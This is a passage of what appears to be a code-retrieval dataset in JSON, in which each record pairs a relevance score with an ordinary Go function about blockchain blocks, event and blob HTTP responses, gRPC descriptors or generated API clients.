localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}", "title": "" }, { "docid": "e5363ef56436df4cf95e3c083c6c0c05", "score": "0.5115035", "text": "func NewGetBlockResponseMessage() *GetBlockResponseMessage {\n\treturn &GetBlockResponseMessage{}\n}", "title": "" }, { "docid": "32cf2e70d26de57a9cf3f4b1e6992799", "score": "0.51148707", "text": "func (er EventResponse) Body() []byte {\n\treturn er.body\n}", "title": "" }, { "docid": "9fa3cbb405e2cd323584d5e10ddd9381", "score": "0.5114774", "text": "func (m *VirtualEndpointAuditEventsCloudPcAuditEventItemRequestBuilder) Get(ctx context.Context, requestConfiguration *VirtualEndpointAuditEventsCloudPcAuditEventItemRequestBuilderGetRequestConfiguration)(ie233ee762e29b4ba6970aa2a2efce4b7fde11697ca9ea81099d0f8269309c1be.CloudPcAuditEventable, error) {\n requestInfo, err := m.ToGetRequestInformation(ctx, requestConfiguration);\n if err != nil {\n return nil, err\n }\n errorMapping := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.ErrorMappings {\n \"4XX\": i20a3050780ee0b0cde0a884a4f35429a20d60067e3bcda382ec5400079147459.CreateODataErrorFromDiscriminatorValue,\n \"5XX\": i20a3050780ee0b0cde0a884a4f35429a20d60067e3bcda382ec5400079147459.CreateODataErrorFromDiscriminatorValue,\n }\n res, err := m.BaseRequestBuilder.RequestAdapter.Send(ctx, requestInfo, ie233ee762e29b4ba6970aa2a2efce4b7fde11697ca9ea81099d0f8269309c1be.CreateCloudPcAuditEventFromDiscriminatorValue, errorMapping)\n if err != nil {\n return nil, err\n }\n if res == nil {\n return nil, nil\n }\n return res.(ie233ee762e29b4ba6970aa2a2efce4b7fde11697ca9ea81099d0f8269309c1be.CloudPcAuditEventable), nil\n}", "title": "" }, { "docid": "57ecb70b5d6e6688fcc1ae327641ed82", "score": "0.50977707", "text": "func (client *BlockBlobClient) commitBlockListHandleResponse(resp *http.Response) (BlockBlobClientCommitBlockListResponse, error) {\n\tresult := BlockBlobClientCommitBlockListResponse{}\n\tif val := resp.Header.Get(\"ETag\"); val != \"\" {\n\t\tresult.ETag = (*azcore.ETag)(&val)\n\t}\n\tif val := resp.Header.Get(\"Last-Modified\"); val != \"\" {\n\t\tlastModified, err := time.Parse(time.RFC1123, val)\n\t\tif err != nil {\n\t\t\treturn BlockBlobClientCommitBlockListResponse{}, err\n\t\t}\n\t\tresult.LastModified = &lastModified\n\t}\n\tif val := resp.Header.Get(\"Content-MD5\"); val != \"\" {\n\t\tcontentMD5, err := base64.StdEncoding.DecodeString(val)\n\t\tif err != nil {\n\t\t\treturn BlockBlobClientCommitBlockListResponse{}, err\n\t\t}\n\t\tresult.ContentMD5 = contentMD5\n\t}\n\tif val := resp.Header.Get(\"x-ms-content-crc64\"); val != \"\" {\n\t\tcontentCRC64, err := base64.StdEncoding.DecodeString(val)\n\t\tif err != nil {\n\t\t\treturn BlockBlobClientCommitBlockListResponse{}, err\n\t\t}\n\t\tresult.ContentCRC64 = contentCRC64\n\t}\n\tif val := resp.Header.Get(\"x-ms-client-request-id\"); val != \"\" {\n\t\tresult.ClientRequestID = &val\n\t}\n\tif val := resp.Header.Get(\"x-ms-request-id\"); val != \"\" {\n\t\tresult.RequestID = &val\n\t}\n\tif val := resp.Header.Get(\"x-ms-version\"); val != \"\" {\n\t\tresult.Version = &val\n\t}\n\tif val := resp.Header.Get(\"x-ms-version-id\"); val != \"\" {\n\t\tresult.VersionID = &val\n\t}\n\tif val := resp.Header.Get(\"Date\"); val != \"\" {\n\t\tdate, err := time.Parse(time.RFC1123, val)\n\t\tif err != nil {\n\t\t\treturn BlockBlobClientCommitBlockListResponse{}, err\n\t\t}\n\t\tresult.Date = &date\n\t}\n\tif val := resp.Header.Get(\"x-ms-request-server-encrypted\"); val != \"\" {\n\t\tisServerEncrypted, err := strconv.ParseBool(val)\n\t\tif err != nil {\n\t\t\treturn BlockBlobClientCommitBlockListResponse{}, err\n\t\t}\n\t\tresult.IsServerEncrypted = &isServerEncrypted\n\t}\n\tif val := resp.Header.Get(\"x-ms-encryption-key-sha256\"); val != \"\" {\n\t\tresult.EncryptionKeySHA256 = &val\n\t}\n\tif val := resp.Header.Get(\"x-ms-encryption-scope\"); val != \"\" {\n\t\tresult.EncryptionScope = &val\n\t}\n\treturn result, nil\n}", "title": "" }, { "docid": "167825f3ebd90246696f185dffe56894", "score": "0.50971746", "text": "func (client *LiveEventsClient) getHandleResponse(resp *http.Response) (LiveEventsClientGetResponse, error) {\n\tresult := LiveEventsClientGetResponse{RawResponse: resp}\n\tif err := runtime.UnmarshalAsJSON(resp, &result.LiveEvent); err != nil {\n\t\treturn LiveEventsClientGetResponse{}, err\n\t}\n\treturn result, nil\n}", "title": "" }, { "docid": "b63bdfda4b76fcb7bb31d49d55f50c04", "score": "0.50837505", "text": "func TestGetTranInfo(t *testing.T) {\n\td := new(mocks.Downstream)\n\ts := service.NewBlockAPI(d)\n\tr := domain.Request{\n\t\tHash: \"12w1wefafdv\",\n\t\tNetCode: \"BTC\",\n\t}\n\td.On(\"GetTransaction\", \"12w1wefafdv\", \"BTC\").Return(nil, nil)\n\t_, e := s.GetTranInfo(&r)\n\tassert.Equal(t, e, nil)\n}", "title": "" }, { "docid": "e431c2989b7bc948b6a6460096029b1d", "score": "0.50684094", "text": "func (*GetBlockRequest) Descriptor() ([]byte, []int) {\n\treturn file_bchrpc_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "8e6664348b7893664bc9ec3b589c602b", "score": "0.5068074", "text": "func (a *App) EndBlock(req abcitypes.RequestEndBlock) abcitypes.ResponseEndBlock {\n\tresp := abcitypes.ResponseEndBlock{}\n\n\tif err := a.updateValidators(req.Height, &resp); err != nil {\n\t\tpanic(errors.Wrap(err, \"failed to update validators\"))\n\t}\n\n\tif err := a.logic.OnEndBlock(a.proposedBlock); err != nil {\n\t\tpanic(errors.Wrap(err, \"logic.OnEndBlock\"))\n\t}\n\n\tif err := a.trackAndBroadcastEpochChange(); err != nil {\n\t\tpanic(errors.Wrap(err, \"failed to track epoch change\"))\n\t}\n\n\treturn resp\n}", "title": "" }, { "docid": "4967e32b895e292a790f134b12a76909", "score": "0.5065718", "text": "func (*EventResponse) Descriptor() ([]byte, []int) {\n\treturn file_buf_alpha_webhook_v1alpha1_event_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "04594755d4907b45b1b55851c0103940", "score": "0.5048439", "text": "func (node *Node) CalculateResponse(request *downloader_pb.DownloaderRequest) (*downloader_pb.DownloaderResponse, error) {\n\tresponse := &downloader_pb.DownloaderResponse{}\n\tswitch request.Type {\n\tcase downloader_pb.DownloaderRequest_HEADER:\n\t\tutils.GetLogInstance().Debug(\"[SYNC] CalculateResponse DownloaderRequest_HEADER\", \"request.BlockHash\", request.BlockHash)\n\t\tvar startHeaderHash []byte\n\t\tif request.BlockHash == nil {\n\t\t\ttmp := node.blockchain.Genesis().Hash()\n\t\t\tstartHeaderHash = tmp[:]\n\t\t} else {\n\t\t\tstartHeaderHash = request.BlockHash\n\t\t}\n\t\tfor block := node.blockchain.CurrentBlock(); block != nil; block = node.blockchain.GetBlockByHash(block.Header().ParentHash) {\n\t\t\tblockHash := block.Hash()\n\t\t\tif bytes.Compare(blockHash[:], startHeaderHash) == 0 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tresponse.Payload = append(response.Payload, blockHash[:])\n\t\t}\n\tcase downloader_pb.DownloaderRequest_BLOCK:\n\t\tfor _, bytes := range request.Hashes {\n\t\t\tvar hash common.Hash\n\t\t\thash.SetBytes(bytes)\n\t\t\tblock := node.blockchain.GetBlockByHash(hash)\n\t\t\tencodedBlock, err := rlp.EncodeToBytes(block)\n\t\t\tif err == nil {\n\t\t\t\tresponse.Payload = append(response.Payload, encodedBlock)\n\t\t\t}\n\t\t}\n\tcase downloader_pb.DownloaderRequest_NEWBLOCK:\n\t\tif node.State != NodeNotInSync {\n\t\t\tutils.GetLogInstance().Debug(\"[SYNC] new block received, but state is\", \"state\", node.State.String())\n\t\t\tresponse.Type = downloader_pb.DownloaderResponse_INSYNC\n\t\t\treturn response, nil\n\t\t}\n\t\tvar blockObj types.Block\n\t\terr := rlp.DecodeBytes(request.BlockHash, &blockObj)\n\t\tif err != nil {\n\t\t\tutils.GetLogInstance().Warn(\"[SYNC] unable to decode received new block\")\n\t\t\treturn response, err\n\t\t}\n\t\tnode.stateSync.AddNewBlock(request.PeerHash, &blockObj)\n\n\tcase downloader_pb.DownloaderRequest_REGISTER:\n\t\tpeerID := binary.BigEndian.Uint32(request.PeerHash)\n\t\tif _, ok := node.peerRegistrationRecord[peerID]; ok {\n\t\t\tresponse.Type = downloader_pb.DownloaderResponse_FAIL\n\t\t\treturn response, nil\n\t\t} else if len(node.peerRegistrationRecord) >= maxBroadcastNodes {\n\t\t\tresponse.Type = downloader_pb.DownloaderResponse_FAIL\n\t\t\treturn response, nil\n\t\t} else {\n\t\t\tpeer, ok := node.Consensus.GetPeerFromID(peerID)\n\t\t\tif !ok {\n\t\t\t\tutils.GetLogInstance().Warn(\"[SYNC] unable to get peer from peerID\", \"peerID\", peerID)\n\t\t\t}\n\t\t\tclient := downloader.ClientSetup(peer.IP, GetSyncingPort(peer.Port))\n\t\t\tif client == nil {\n\t\t\t\tutils.GetLogInstance().Warn(\"[SYNC] unable to setup client\")\n\t\t\t\treturn response, nil\n\t\t\t}\n\t\t\tutils.GetLogInstance().Debug(\"[SYNC] client setup correctly\", \"client\", client)\n\t\t\tconfig := &syncConfig{timestamp: time.Now().UnixNano(), client: client}\n\t\t\tnode.stateMutex.Lock()\n\t\t\tnode.peerRegistrationRecord[peerID] = config\n\t\t\tnode.stateMutex.Unlock()\n\t\t\tutils.GetLogInstance().Debug(\"[SYNC] register peerID success\", \"peerID\", peerID)\n\t\t\tresponse.Type = downloader_pb.DownloaderResponse_SUCCESS\n\t\t}\n\tcase downloader_pb.DownloaderRequest_REGISTERTIMEOUT:\n\t\tif node.State == NodeNotInSync {\n\t\t\tcount := node.stateSync.RegisterNodeInfo()\n\t\t\tutils.GetLogInstance().Debug(\"[SYNC] extra node registered\", \"number\", count)\n\t\t}\n\t}\n\treturn response, nil\n}", "title": "" }, { "docid": "3aa879f1fc9b19b5ee89c159eef55c1e", "score": "0.5023993", "text": "func (a *BlockApiService) RestBlockNotxdetails(ctx context.Context, blockHash string, format string) (Block, *http.Response, error) {\n\tvar (\n\t\tlocalVarHttpMethod = strings.ToUpper(\"Get\")\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tlocalVarReturnValue Block\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/block/notxdetails/{blockHash}.{format}\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"blockHash\"+\"}\", fmt.Sprintf(\"%v\", blockHash), -1)\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"format\"+\"}\", fmt.Sprintf(\"%v\", format), -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := url.Values{}\n\tlocalVarFormParams := url.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHttpContentTypes := []string{}\n\n\t// set Content-Type header\n\tlocalVarHttpContentType := selectHeaderContentType(localVarHttpContentTypes)\n\tif localVarHttpContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHttpContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHttpHeaderAccepts := []string{\"application/octet-stream\", \"text/plain\", \"application/json\"}\n\n\t// set Accept header\n\tlocalVarHttpHeaderAccept := selectHeaderAccept(localVarHttpHeaderAccepts)\n\tif localVarHttpHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHttpHeaderAccept\n\t}\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHttpMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHttpResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHttpResponse == nil {\n\t\treturn localVarReturnValue, localVarHttpResponse, err\n\t}\n\n\tlocalVarBody, err := ioutil.ReadAll(localVarHttpResponse.Body)\n\tlocalVarHttpResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHttpResponse, err\n\t}\n\n\tif localVarHttpResponse.StatusCode < 300 {\n\t\t// If we succeed, return the data, otherwise pass on to decode error.\n\t\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHttpResponse.Header.Get(\"Content-Type\"));\n\t\tif err == nil { \n\t\t\treturn localVarReturnValue, localVarHttpResponse, err\n\t\t}\n\t}\n\n\tif localVarHttpResponse.StatusCode >= 300 {\n\t\tnewErr := GenericSwaggerError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHttpResponse.Status,\n\t\t}\n\t\t\n\t\tif localVarHttpResponse.StatusCode == 200 {\n\t\t\tlocalVarBody, err := ioutil.ReadAll(localVarHttpResponse.Body)\n\t\t\tif err != nil {\n\t\t\t\treturn localVarReturnValue, localVarHttpResponse, err\n\t\t\t}\n\n\t\t\tvar v Block\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHttpResponse.Header.Get(\"Content-Type\"));\n\t\t\t\tif err != nil {\n\t\t\t\t\tnewErr.error = err.Error()\n\t\t\t\t\treturn localVarReturnValue, localVarHttpResponse, newErr\n\t\t\t\t}\n\t\t\t\tnewErr.model = v\n\t\t\t\treturn localVarReturnValue, localVarHttpResponse, newErr\n\t\t}\n\t\t\n\t\treturn localVarReturnValue, localVarHttpResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHttpResponse, nil\n}", "title": "" }, { "docid": "e062d25d013b46be6ad0f9724af3d38b", "score": "0.50141406", "text": "func retrieveBlock(reqCtx reqContext.Context, orderers []fab.Orderer, channel string, pos *ab.SeekPosition, opts options) (*common.Block, error) {\n\tctx, ok := contextImpl.RequestClientContext(reqCtx)\n\tif !ok {\n\t\treturn nil, errors.New(\"failed get client context from reqContext for signPayload\")\n\t}\n\tth, err := txn.NewHeader(ctx, channel)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"generating TX ID failed\")\n\t}\n\n\thash, err := ccomm.TLSCertHash(ctx.EndpointConfig())\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to get tls cert hash\")\n\t}\n\n\tchannelHeaderOpts := txn.ChannelHeaderOpts{\n\t\tTxnHeader: th,\n\t\tTLSCertHash: hash,\n\t}\n\n\tseekInfoHeader, err := txn.CreateChannelHeader(common.HeaderType_DELIVER_SEEK_INFO, channelHeaderOpts)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"CreateChannelHeader failed\")\n\t}\n\n\tseekInfoHeaderBytes, err := proto.Marshal(seekInfoHeader)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"marshal seek info failed\")\n\t}\n\n\tsignatureHeader, err := txn.CreateSignatureHeader(th)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"CreateSignatureHeader failed\")\n\t}\n\n\tsignatureHeaderBytes, err := proto.Marshal(signatureHeader)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"marshal signature header failed\")\n\t}\n\n\tseekHeader := &common.Header{\n\t\tChannelHeader: seekInfoHeaderBytes,\n\t\tSignatureHeader: signatureHeaderBytes,\n\t}\n\n\tseekInfo := &ab.SeekInfo{\n\t\tStart: pos,\n\t\tStop: pos,\n\t\tBehavior: ab.SeekInfo_BLOCK_UNTIL_READY,\n\t}\n\n\tseekInfoBytes, err := proto.Marshal(seekInfo)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"marshal seek info failed\")\n\t}\n\n\tpayload := common.Payload{\n\t\tHeader: seekHeader,\n\t\tData: seekInfoBytes,\n\t}\n\n\tresp, err := retry.NewInvoker(retry.New(opts.retry)).Invoke(\n\t\tfunc() (interface{}, error) {\n\t\t\treturn txn.SendPayload(reqCtx, &payload, orderers)\n\t\t},\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn resp.(*common.Block), err\n}", "title": "" }, { "docid": "43081fd6ffebca1d03830ffaae6cac2a", "score": "0.500853", "text": "func (*BlockResponseV2) Descriptor() ([]byte, []int) {\n\treturn file_eth_v2_beacon_block_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "a1faa3c39408a1cbf8af24d6bad4bbbc", "score": "0.5008355", "text": "func (*WorkloadEventsResponse) Descriptor() ([]byte, []int) {\n\treturn file_lcmservice_proto_rawDescGZIP(), []int{11}\n}", "title": "" }, { "docid": "9f9649ee2f82df5b3f8ffb28fe80c679", "score": "0.50041264", "text": "func (client *BlockBlobClient) stageBlockHandleResponse(resp *http.Response) (BlockBlobClientStageBlockResponse, error) {\n\tresult := BlockBlobClientStageBlockResponse{}\n\tif val := resp.Header.Get(\"Content-MD5\"); val != \"\" {\n\t\tcontentMD5, err := base64.StdEncoding.DecodeString(val)\n\t\tif err != nil {\n\t\t\treturn BlockBlobClientStageBlockResponse{}, err\n\t\t}\n\t\tresult.ContentMD5 = contentMD5\n\t}\n\tif val := resp.Header.Get(\"x-ms-client-request-id\"); val != \"\" {\n\t\tresult.ClientRequestID = &val\n\t}\n\tif val := resp.Header.Get(\"x-ms-request-id\"); val != \"\" {\n\t\tresult.RequestID = &val\n\t}\n\tif val := resp.Header.Get(\"x-ms-version\"); val != \"\" {\n\t\tresult.Version = &val\n\t}\n\tif val := resp.Header.Get(\"Date\"); val != \"\" {\n\t\tdate, err := time.Parse(time.RFC1123, val)\n\t\tif err != nil {\n\t\t\treturn BlockBlobClientStageBlockResponse{}, err\n\t\t}\n\t\tresult.Date = &date\n\t}\n\tif val := resp.Header.Get(\"x-ms-content-crc64\"); val != \"\" {\n\t\tcontentCRC64, err := base64.StdEncoding.DecodeString(val)\n\t\tif err != nil {\n\t\t\treturn BlockBlobClientStageBlockResponse{}, err\n\t\t}\n\t\tresult.ContentCRC64 = contentCRC64\n\t}\n\tif val := resp.Header.Get(\"x-ms-request-server-encrypted\"); val != \"\" {\n\t\tisServerEncrypted, err := strconv.ParseBool(val)\n\t\tif err != nil {\n\t\t\treturn BlockBlobClientStageBlockResponse{}, err\n\t\t}\n\t\tresult.IsServerEncrypted = &isServerEncrypted\n\t}\n\tif val := resp.Header.Get(\"x-ms-encryption-key-sha256\"); val != \"\" {\n\t\tresult.EncryptionKeySHA256 = &val\n\t}\n\tif val := resp.Header.Get(\"x-ms-encryption-scope\"); val != \"\" {\n\t\tresult.EncryptionScope = &val\n\t}\n\treturn result, nil\n}", "title": "" }, { "docid": "c9091daa9152023e19fcc570b2e701ea", "score": "0.49989465", "text": "func (*GetRawBlockRequest) Descriptor() ([]byte, []int) {\n\treturn file_bchrpc_proto_rawDescGZIP(), []int{10}\n}", "title": "" }, { "docid": "fbaa05043ebb5939d5e49b4a3187cbba", "score": "0.49969375", "text": "func (bbcblr BlockBlobCommitBlockListResponse) ETag() ETag {\n\treturn ETag(bbcblr.rawResponse.Header.Get(\"ETag\"))\n}", "title": "" }, { "docid": "0a45054ce09aac99035b7d3ec01bf714", "score": "0.499241", "text": "func EncodeGrpcRespGetEventRequest(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "title": "" }, { "docid": "41bec03b6da93c339b4bec8096c93e29", "score": "0.49826", "text": "func (g *Grpc) GetBlocks(ctx context.Context, in *pb.ReqBlocks) (*pb.Reply, error) {\r\n\treply, err := g.cli.GetBlocks(&pb.ReqBlocks{\r\n\t\tStart: in.Start,\r\n\t\tEnd: in.End,\r\n\t\tIsDetail: in.IsDetail,\r\n\t})\r\n\tif err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\treturn &pb.Reply{\r\n\t\t\tIsOk: true,\r\n\t\t\tMsg: pb.Encode(reply)},\r\n\t\tnil\r\n}", "title": "" }, { "docid": "42c52e540e8a4b7faaba1e083ba30009", "score": "0.49701697", "text": "func (bbcblr BlockBlobCommitBlockListResponse) RequestID() string {\n\treturn bbcblr.rawResponse.Header.Get(\"x-ms-request-id\")\n}", "title": "" }, { "docid": "641b57d4747e0142408300578c82b8a9", "score": "0.49560675", "text": "func (self *Endpoint) WaitEvent() (bool, error) {\n e := ErrorNew(1000);\n defer e.Delete();\n\n // wait for any event\n C.io_wait(self.async.Base(), e.d);\n if err := e.Check(); err != nil {\n return false, err;\n }\n\n // read the wakeup channel\n var buf = make([]byte, 10);\n var l C.size_t = 1;\n C.io_read_bytes(\n self.wakeup_rx,\n e.d,\n (*C.uint8_t)(&buf[0]),\n &l,\n )\n if err := e.Check(); err != nil {\n log.Print(\"reading wakeup failed\", err);\n return false, err;\n }\n\n // read endpoint\n var res = C.carrier_endpoint_poll(self.d, e.d, self.async.Base())\n if err := e.Check(); err != nil {\n return false, err;\n }\n\n if res == C.io_Result_Ready {\n return true, nil;\n } else {\n return false, nil;\n }\n}", "title": "" }, { "docid": "e46af597a99a15d2dca3161825d14ffb", "score": "0.49495438", "text": "func (l *Listener) getBlock(blockNumber uint64) (*wire.MsgBlock, error) {\n\tblockHeight := int64(blockNumber)\n\tblockHash, err := l.Client.GetBlockHash(blockHeight)\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), \"Block height out of range\") {\n\t\t\t// Block does not exist yet\n\t\t\treturn nil, nil\n\t\t}\n\t\terr = errors.Wrap(err, \"Error getting block hash from bitcoin-core\")\n\t\tl.log.WithField(\"blockHeight\", blockHeight).Error(err)\n\t\treturn nil, err\n\t}\n\n\tblock, err := l.Client.GetBlock(blockHash)\n\tif err != nil {\n\t\terr = errors.Wrap(err, \"Error getting block from bitcoin-core\")\n\t\tl.log.WithField(\"blockHash\", blockHash.String()).Error(err)\n\t\treturn nil, err\n\t}\n\n\treturn block, nil\n}", "title": "" }, { "docid": "94472c812c688f306edd50d2046c9345", "score": "0.49466962", "text": "func GetEvent(c *fiber.Ctx) error {\n\tid := c.Params(\"id\")\n\tevent, errQuery := models.EventQuery.GetOne(bson.M{\"_id\": id})\n\tif errQuery != nil {\n\t\treturn utils.CusResponse(utils.CusResp{\n\t\t\tContext: c,\n\t\t\tCode: errQuery.Code,\n\t\t\tData: nil,\n\t\t\tError: errors.New(errQuery.Message)})\n\t}\n\n\treturn utils.CusResponse(utils.CusResp{\n\t\tContext: c,\n\t\tCode: 200,\n\t\tData: event,\n\t\tError: nil})\n\n}", "title": "" }, { "docid": "666eadd118402409d99a885afe05aaf9", "score": "0.4944705", "text": "func (m *EventMessageRequest) GetResponseRequested()(*bool) {\n val, err := m.GetBackingStore().Get(\"responseRequested\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(*bool)\n }\n return nil\n}", "title": "" }, { "docid": "33e31b75b7f6bc74884da160d699d404", "score": "0.4944133", "text": "func handleBlockchainResponse(receivedBlocks []Block, heldBlocks *[]Block, c *Client) {\n\tif len(receivedBlocks) == 0 {\n\t\tfmt.Println(\"Recived a blockchain of length 0\")\n\t\treturn\n\t}\n\tlatestBlockReceived := getLatestBlock(receivedBlocks)\n\tlatestBlockHeld := getLatestBlock(*heldBlocks)\n\tif latestBlockReceived.Index > latestBlockHeld.Index {\n\t\tif validateNewBlock(latestBlockReceived, latestBlockHeld) {\n\t\t\tc.hub.broadcast <-createJSONResponse(messageTypes[\"BLOCKHAIN\"], *addBlockToChain(heldBlocks, latestBlockReceived))\n\t\t} else if len(receivedBlocks) == 1 {\n\t\t\tc.hub.broadcast <-createJSONResponse(messageTypes[\"QUERY_ALL\"], nil)\n\t\t} else {\n\t\t\tif newChain := replaceChain(heldBlocks, *heldBlocks, receivedBlocks); newChain != nil {\n\t\t\t\tc.hub.broadcast <-createJSONResponse(messageTypes[\"BLOCKHAIN\"], *newChain)\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "3b90ec8341cfae2eebd566f0c0cc0122", "score": "0.49352574", "text": "func (db *PublicRecord) GetJsonBlock(hash string) (*ahimsajson.JsonBlkResp, error) {\n\n\thash = strings.ToLower(hash)\n\n\tlog.Println(\"Block start\", hash)\n\trow := db.selectBlockHead.QueryRow(hash)\n\tblkHead, err := scanJsonBlk(row)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trows, err := db.selectBlockBltns.Query(hash)\n\tdefer rows.Close()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbltns, err := getRelevantBltns(rows)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tblkResp := &ahimsajson.JsonBlkResp{\n\t\tHead: blkHead,\n\t\tBulletins: bltns,\n\t}\n\treturn blkResp, nil\n}", "title": "" }, { "docid": "75bdff40375d28f34019f2b47a89090a", "score": "0.49308527", "text": "func (g *Grpc) GetBlocks(ctx context.Context, in *pb.ReqBlocks) (*pb.Reply, error) {\n\treply, err := g.cli.GetBlocks(&pb.ReqBlocks{\n\t\tStart: in.Start,\n\t\tEnd: in.End,\n\t\tIsDetail: in.IsDetail,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &pb.Reply{\n\t\t\tIsOk: true,\n\t\t\tMsg: pb.Encode(reply)},\n\t\tnil\n}", "title": "" }, { "docid": "6a268bf2060df94b1348b789a2233de1", "score": "0.49280933", "text": "func (s *BlockAPI) Block(\n\tctx context.Context, request *types.BlockRequest,\n) (response *types.BlockResponse, rosettaError *types.Error) {\n\tif err := assertValidNetworkIdentifier(request.NetworkIdentifier, s.hmy.ShardID); err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar blk *hmytypes.Block\n\tvar currBlockID, prevBlockID *types.BlockIdentifier\n\tif blk, rosettaError = getBlock(ctx, s.hmy, request.BlockIdentifier); rosettaError != nil {\n\t\treturn nil, rosettaError\n\t}\n\n\tcurrBlockID = &types.BlockIdentifier{\n\t\tIndex: blk.Number().Int64(),\n\t\tHash: blk.Hash().String(),\n\t}\n\n\tif blk.NumberU64() == 0 {\n\t\tprevBlockID = currBlockID\n\t} else {\n\t\tprevBlock, err := s.hmy.BlockByNumber(ctx, rpc.BlockNumber(blk.Number().Int64()-1).EthBlockNumber())\n\t\tif err != nil {\n\t\t\treturn nil, common.NewError(common.CatchAllError, map[string]interface{}{\n\t\t\t\t\"message\": err.Error(),\n\t\t\t})\n\t\t}\n\t\tprevBlockID = &types.BlockIdentifier{\n\t\t\tIndex: prevBlock.Number().Int64(),\n\t\t\tHash: prevBlock.Hash().String(),\n\t\t}\n\t}\n\n\t// Report any side effect transaction now as it can be computed & cached on block fetch.\n\ttransactions := []*types.Transaction{}\n\tif s.containsSideEffectTransaction(ctx, blk) {\n\t\ttx, rosettaError := s.getSideEffectTransaction(ctx, blk)\n\t\tif rosettaError != nil {\n\t\t\treturn nil, rosettaError\n\t\t}\n\t\ttransactions = append(transactions, tx)\n\t}\n\n\tmetadata, err := types.MarshalMap(BlockMetadata{\n\t\tEpoch: blk.Epoch(),\n\t})\n\tif err != nil {\n\t\treturn nil, common.NewError(common.CatchAllError, map[string]interface{}{\n\t\t\t\"message\": err.Error(),\n\t\t})\n\t}\n\tresponseBlock := &types.Block{\n\t\tBlockIdentifier: currBlockID,\n\t\tParentBlockIdentifier: prevBlockID,\n\t\tTimestamp: blk.Time().Int64() * 1e3, // Timestamp must be in ms.\n\t\tTransactions: transactions,\n\t\tMetadata: metadata,\n\t}\n\n\totherTransactions := []*types.TransactionIdentifier{}\n\tfor _, tx := range blk.Transactions() {\n\t\totherTransactions = append(otherTransactions, &types.TransactionIdentifier{\n\t\t\tHash: tx.Hash().String(),\n\t\t})\n\t}\n\tfor _, tx := range blk.StakingTransactions() {\n\t\totherTransactions = append(otherTransactions, &types.TransactionIdentifier{\n\t\t\tHash: tx.Hash().String(),\n\t\t})\n\t}\n\t// Report cross-shard transaction payouts.\n\tfor _, cxReceipts := range blk.IncomingReceipts() {\n\t\tfor _, cxReceipt := range cxReceipts.Receipts {\n\t\t\totherTransactions = append(otherTransactions, &types.TransactionIdentifier{\n\t\t\t\tHash: cxReceipt.TxHash.String(),\n\t\t\t})\n\t\t}\n\t}\n\n\treturn &types.BlockResponse{\n\t\tBlock: responseBlock,\n\t\tOtherTransactions: otherTransactions,\n\t}, nil\n}", "title": "" }, { "docid": "e1c3ae6d30fb8e41e87e665184882739", "score": "0.492462", "text": "func (*GetBlocksResponseMessage) Descriptor() ([]byte, []int) {\n\treturn file_rpc_proto_rawDescGZIP(), []int{45}\n}", "title": "" }, { "docid": "55327311d82f4b8c311aef14afff410f", "score": "0.49230814", "text": "func (a *Api) Block(height int) (*BlockResult, error) {\n\n\tparams := make(map[string]string)\n\tparams[\"height\"] = strconv.Itoa(height)\n\n\tres, err := a.client.R().SetQueryParams(params).Get(\"/block\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif res.IsError() {\n\t\treturn nil, NewResponseError(res)\n\t}\n\n\tresponse := new(BlockResponse)\n\terr = json.Unmarshal(res.Body(), response)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif response.Error != nil {\n\t\treturn nil, response.Error\n\t}\n\n\treturn response.Result, nil\n}", "title": "" }, { "docid": 